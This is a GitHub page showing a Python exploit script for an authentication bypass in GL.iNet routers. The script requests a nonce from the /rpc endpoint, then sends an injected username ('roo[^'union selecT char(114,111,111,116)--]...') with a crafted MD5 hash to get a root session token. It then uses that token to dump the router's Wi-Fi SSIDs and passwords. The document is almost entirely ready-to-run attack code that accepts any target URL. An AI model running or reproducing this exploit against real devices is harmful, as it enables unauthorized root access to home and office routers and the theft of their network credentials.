GLiNet-Router-Auth-Bypass/exploit.py at main · flintt/GLiNet-Router-Auth-Bypass · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from urllib.parse import urlparse
import requests
import hashlib
import random
import sys

def exploit(url):
    try:
        requests.packages.urllib3.disable_warnings()
        host = urlparse(url)
        url = f"{host.scheme}://{host.netloc}/rpc"
        print(f"[*] Target: {url}")
        print("[*] Retrieving nonce...")

        response = requests.post(url, verify=False, json={
            "jsonrpc": "2.0",
            "id": random.randint(1000, 9999),
            "method": "challenge",
            "params": {"username": "root"}
        }, timeout=5)

        try:
            nonce = response.json()
        except ValueError:
            print("[!] Invalid JSON response, exiting...")
            sys.exit(1)

        if "result" in nonce and "nonce" in nonce["result"]:
            print(f"[*] Got nonce: {nonce['result']['nonce']} !")
        else:
            print("[!] Nonce not found, exiting... :(")
            sys.exit(1)

        print("[*] Retrieving authentication token for root...")
        md5_hash = hashlib.md5()
        md5_hash.update(
            (f"roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+:0:{nonce['result']['nonce']}").encode())
        password = md5_hash.hexdigest()

        token_response = requests.post(url, verify=False, json={
            "jsonrpc": "2.0",
            "id": random.randint(1000, 9999),
            "method": "login",
            "params": {
                "username": "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+",
                "hash": password
            }
        }, timeout=5)

        try:
            token = token_response.json()
        except ValueError:
            print("[!] Invalid JSON response for token, exiting...")
            sys.exit(1)

        if "result" in token and "sid" in token["result"]:
            print(f"[*] Got token: {token['result']['sid']} !")
        else:
            print("[!] Token not found, exiting... :(")
            sys.exit(1)

        print("[*] Checking if we are root...")
        check_response = requests.post(url, verify=False, json={
            "jsonrpc": "2.0",
            "id": random.randint(1000, 9999),
            "method": "call",
            "params": [token["result"]["sid"], "system", "get_status", {}]
        }, timeout=5)

        try:
            check = check_response.json()
        except ValueError:
            print("[!] Invalid JSON response for check, exiting...")
            sys.exit(1)

        if "result" in check and "wifi" in check["result"]:
            print("[*] We are authenticated as root! :)")
            print("[*] Below some info:")
            for wifi in check["result"]["wifi"]:
                print(f"[*] --------------------")
                print(f"[*] SSID: {wifi['ssid']}")
                print(f"[*] Password: {wifi['passwd']}")
                print(f"[*] Band: {wifi['band']}")
            print(f"[*] --------------------")
        else:
            print("[!] Something went wrong, exiting... :(")
            sys.exit(1)
    except requests.exceptions.Timeout:
        print("[!] Timeout error, exiting... :(")
        sys.exit(1)
    except requests.exceptions.RequestException as e:
        print(f"[!] Request exception: {e}, exiting... :(")
        sys.exit(1)
    except Exception as e:
        print(f"[!] Unexpected error: {e}, exiting... :(")
        sys.exit(1)


if __name__ == "__main__":
    print("GL.iNet Auth Bypass\n")
    if len(sys.argv) < 2:
        print(
            f"Usage: python3 {sys.argv[0]} https://target.com",
            file=sys.stderr)
        sys.exit(0)
    else:
        exploit(sys.argv[1])